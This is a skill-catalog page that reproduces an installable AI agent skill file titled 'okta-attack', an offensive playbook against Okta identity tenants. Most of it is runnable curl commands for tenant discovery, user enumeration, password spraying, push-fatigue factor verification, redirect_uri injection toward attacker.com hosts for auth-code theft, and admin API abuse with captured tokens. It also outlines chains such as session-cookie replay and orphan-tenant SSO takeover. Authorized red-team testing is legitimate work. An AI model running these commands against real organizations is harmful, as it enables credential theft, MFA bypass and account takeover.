Best for
- DNS shows .okta.com or .okta-emea.com (EMEA region)
- Login flow redirects to .okta.com/login or /app//sso/saml
- Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk
elementalsouls/Claude-BugHunter/skills/okta-attack/SKILL.md
Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tampering), MFA enumeration, post-compromise admin API surface. Many enterprise orgs use Okta instead of (or alongside) Entra ID. Distinct endpoints, distinct rate-limiting, distinct factor flows. Use wh
Decision brief
Trigger when: - DNS shows .okta.com or .okta-emea.com (EMEA region) - Login flow redirects to .okta.com/login or /app//sso/saml - Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk - Recon notes "uses Okta for SSO" - A target has .okta.com SAN in TLS cert - I…
Compatibility matrix
| Platform | Status | Evidence | What to check |
|---|---|---|---|
| Codex | Not declared | No explicit evidence | Portability before use |
| Claude Code | Not declared | No explicit evidence | Portability before use |
| Cursor | Not declared | No explicit evidence | Portability before use |
| Gemini CLI | Not declared | No explicit evidence | Portability before use |
Installation
The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill "skills/okta-attack"Inspect the Agent Skill "okta-attack" from https://github.com/elementalsouls/Claude-BugHunter/blob/1f9cdb6046f665ede508486c108246f0557e03f2/skills/okta-attack/SKILL.md at commit 1f9cdb6046f665ede508486c108246f0557e03f2. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.
Workflow
curl -sk -X POST "https://.okta.com/api/v1/authn/factors//verify" \ -H "Content-Type: application/json" \ -d '{"stateToken":""}'
Trigger when: - DNS shows .okta.com or .okta-emea.com (EMEA region) - Login flow redirects to .okta.com/login or /app//sso/saml - Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk - Recon notes "uses Okta for SSO" - A target has .okta.com SAN in TLS cert - I…
Review the “Tenant discovery” section in the pinned source before continuing.
Review the “Direct guesses” section in the pinned source before continuing.
Review the “Tenant subdomains often match the brand” section in the pinned source before continuing.
Permission review
The documentation includes network, browsing, or remote request actions.
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")The documentation includes network, browsing, or remote request actions.
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"The documentation includes sending, uploading, or posting data to a remote service.
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \The documentation includes sending, uploading, or posting data to a remote service.
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \Evidence record
| Signal | Value | Evidence type | Meaning |
|---|---|---|---|
| Quality score | 90/100 | Computed | Documentation, specificity, maintenance, and trust rules |
| Repository stars | 3,780 | Source | Repository attention, not individual Skill quality |
| Compatibility | 0 platforms | Source | Declared in the catalog source record |
| Usage guide | automated source guide | Editorial | Generated or reviewed according to the visible evidence level |
Pinned source
Trigger when:
<tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)<tenant>.okta.com/login or /app/<app_id>/sso/saml/signin/customize, oktapreview.com, or auth-js-sdk*.okta.com SAN in TLS certDO NOT use for:
m365-entra-attack instead)google-workspace-attack — not yet built)# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
for region in okta okta-emea oktapreview; do
host="$tenant.$region.com"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
done
done
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
dig +short "sso.$domain" CNAME
dig +short "login.$domain" CNAME
dig +short "auth.$domain" CNAME
dig +short "okta.$domain" CNAME
done
# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant
/api/v1/authn differentialThe auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<email>","password":"_test_invalid_pw"}'
# Response codes:
# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
# 401 + "errorCode":"E0000119" → account locked
# 200 → MFA prompt (cred VALID, MFA needed)
# 200 + "status":"SUCCESS" → full auth (rare in modern setups)
⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
/api/v1/users/me/factors timingSome flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.
curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
-H "Accept: application/json"
# Response varies by tenant config
Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:
[email protected]
[email protected]
[email protected]
[email protected]
/v1/authorize with login_hint# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't
# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool
Response structure reveals factor configuration:
{
"stateToken": "00ABC...",
"factorResult": "WAITING",
"status": "MFA_REQUIRED",
"_embedded": {
"factors": [
{"factorType": "push", "provider": "OKTA"},
{"factorType": "token:software:totp", "provider": "OKTA"},
{"factorType": "sms", "provider": "OKTA"},
{"factorType": "call", "provider": "OKTA"},
{"factorType": "email", "provider": "OKTA"},
{"factorType": "question", "provider": "OKTA"},
{"factorType": "webauthn", "provider": "FIDO"}
]
}
}
Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
webauthn (FIDO2) — phishing-resistantquestion (security questions) — extremely weak; KBA attackssms / call — phishing-able (push notification fatigue, SIM swap)push — phishing-able via MFA fatigueemail — phishing-able if attacker has email read accesstotp — phishing-able via AiTMOkta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).
Discipline:
# Same /api/v1/authn — see authentication flow above
| Response | Meaning |
|---|---|
200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |
200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |
200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |
200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |
401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
401 E0000119 | User is locked |
429 | Rate-limit hit |
If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
-H "Content-Type: application/json" \
-d '{"stateToken":"<from_authn>"}'
# A real test would loop this — DON'T do that without explicit OK
Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:
# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
# Test redirect_uri injection
for ruri in \
"https://attacker.example.com/" \
"https://target.com.attacker.com/" \
"https://[email protected]/" \
"https://target.com#@attacker.com/" \
"https://target.com\\@attacker.com/" \
"//attacker.com/" \
"https://target.com/cb?next=https://attacker.com/"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" \
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
echo " $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain
Each Okta SAML app has its own SP metadata:
# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
# Look for:
# AuthnRequestsSigned="false" ← see hunt-saml for XSW
# WantAssertionsSigned="false" ← assertion-replay possible
# <NameIDFormat>...emailAddress</NameIDFormat>
If a valid cred + MFA-completed token is obtained:
# Get session token
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken
# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs" # audit log
Document existence; do not deploy without explicit phishing scope.
Okta FastPass is push-based + device-bound. Bypasses:
| Indicator | Configuration |
|---|---|
<tenant>.okta.com/api/v1/iam/orgs returns 401 (not 404) | API IAM endpoints enabled — admin attack surface |
customize/sign-in page reachable anon | Tenant brand customization is public — useful intel |
Multiple *.okta.com SAN certs | Multi-tenant org (less common) |
oktapreview.com subdomain | Preview/sandbox tenant — typically weaker security |
OktaTerrify (github.com/silverhack/OktaTerrify) — post-compromise Okta device-trust / FastPass enumeration. The only verifiable public Okta-specific offensive tool; no other named, maintained "okta-attacker"/"okta-toolkit" utility is verifiable — build engagement-specific scripts against /api/v1/* instead of citing unverified tool names.*.oktapreview.com with production — preview is a non-prod tenant, findings have different severitym365-entra-attack — sibling skill for the M365 case; identical mental modelhunt-oauth — OIDC redirect_uri tampering, state attack, PKCE bypasshunt-saml — XSW / signature-stripping for per-app SAML SPhunt-mfa-bypass — push fatigue, OTP brute, replaymid-engagement-ir-detection — Okta SOC dashboards are sensitive; expect mitigations during testingSeveral techniques publicly documented through 2022 (e.g., /api/v1/authn differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:
info@<domain> if reachable)If responses are identical, the vector is hardened — pivot to OneDrive-equivalent or different approach.
These are the canonical public references that justify the techniques in this skill. Cite them in reports when applicable and use them as analog cases when scoping novel Okta attack chains.
fcoa (failed cross-origin auth), scoa (successful cross-origin auth), pwd_leak (breached password match).bcrypt(userId + username + password). Bcrypt silently truncates input at 72 bytes. When username length ≥ 52 chars, the password bytes fall past the 72-byte boundary → cache key collapses to be password-independent. If the user had a prior successful login (cache populated) AND the AD/LDAP agent was unreachable AND MFA was disabled → any password authenticated.sid cookie from <tenant>.okta.com and <tenant>-admin.okta.com. Without IP-binding or device-binding on the Okta session, the attacker replays the cookie from a residential proxy and obtains the user's full session (incl. admin if the victim was an admin) — bypasses MFA entirely (already-MFA-completed session). Underpinned both the Oct 2023 HAR-file incident and most Scattered Spider intrusions.hunt-subdomain — Okta tenant naming patterns (<org>.okta.com, <org>.oktapreview.com, <org>-admin.okta.com) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via /.well-known/okta-organization → enumerate <org>-dev, <org>-uat, <org>-test subdomains → hunt-subdomain orphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate <org> users redirected through compromised IdP for any app federated to the dev tenant).m365-entra-attack — Okta-as-IdP for M365 is common in hybrid orgs. Chain primitive: okta-attack user enumeration + spray succeeds on Okta tenant → Okta is federated to Entra → SAML assertion issued by compromised Okta user → full M365 access without ever touching login.microsoftonline.com directly (bypasses Entra Conditional Access in many configurations).hunt-saml — Okta issues SAML assertions to every federated downstream app. Chain primitive: Okta admin or developer credential captured → mint arbitrary SAML assertions in Okta admin → hunt-saml XSW or signature manipulation not even needed — legitimately signed assertions for arbitrary impersonation across every federated app (Salesforce, Workday, AWS, GitHub, M365).hunt-mfa-bypass — Okta supports multiple factors with varying enforcement. Chain primitive: Okta password sprayed → MFA challenge → hunt-mfa-bypass factor-downgrade (push-fatigue, SMS fallback, voice fallback, security-question fallback) → bypass to authenticated session.triage-validation — Okta findings can be high-impact but need the 7-Question Gate run on whether the captured artifact (token, code, factor) actually grants meaningful access. Chain primitive: validated Okta primitive → triage-validation to confirm access plane → redteam-report-template with explicit federated-app blast-radius.Frequently asked questions
Trigger when: - DNS shows .okta.com or .okta-emea.com (EMEA region) - Login flow redirects to .okta.com/login or /app//sso/saml - Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk - Recon notes "uses Okta for SSO" - A target has .okta.com SAN in TLS cert - I…
The source record exposes this install command: npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill "skills/okta-attack". Inspect the command and pinned source before running it.
Static rules flagged network, send-data in the source; the page lists the matching lines and excerpts.
Alternatives
coreyhaines31/marketingskills
When the user wants to plan, design, or implement an A/B test or experiment, or build a growth experimentation program. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "should I test this," "which version is better," "test two versions," "statistical significance," "how long should I run this test," "growth experiments," "experiment velocity," "experiment backlog," "ICE score," "experimentation program
alirezarezvani/claude-skills
App Store Optimization (ASO) toolkit for researching keywords, analyzing competitor rankings, generating metadata suggestions, and improving app visibility on Apple App Store and Google Play Store. Use when the user asks about ASO, app store rankings, app metadata, app titles and descriptions, app store listings, app visibility, or mobile app marketing on iOS or Android. Supports keyword research and scoring, competitor keyword analysis, metadata optimization, A/B test planning, launch checklist
JasonColapietro/suede-creator-skills
Suede-owned experimentation discipline for hypotheses, sample sizing, test duration, significance, and repeatable experiment programs. Use when comparing variants, deciding whether a result is reliable, or building an experiment backlog and cadence. NOT FOR: analytics instrumentation (use suede-analytics), post-click conversion diagnosis (use suede-site-alchemy), or writing the variant copy itself (use suede-copy).
tenequm/skills
Decision validation and thinking frameworks for startup founders. Use when you need to pressure-test a decision, validate your next steps, think through strategic options, or sanity-check your approach. Triggers on phrases like "should I", "help me think through", "is this the right move", "validate my thinking", "what am I missing". Covers fundraising, customer development, runway management, prioritization, and crypto/web3 founder challenges.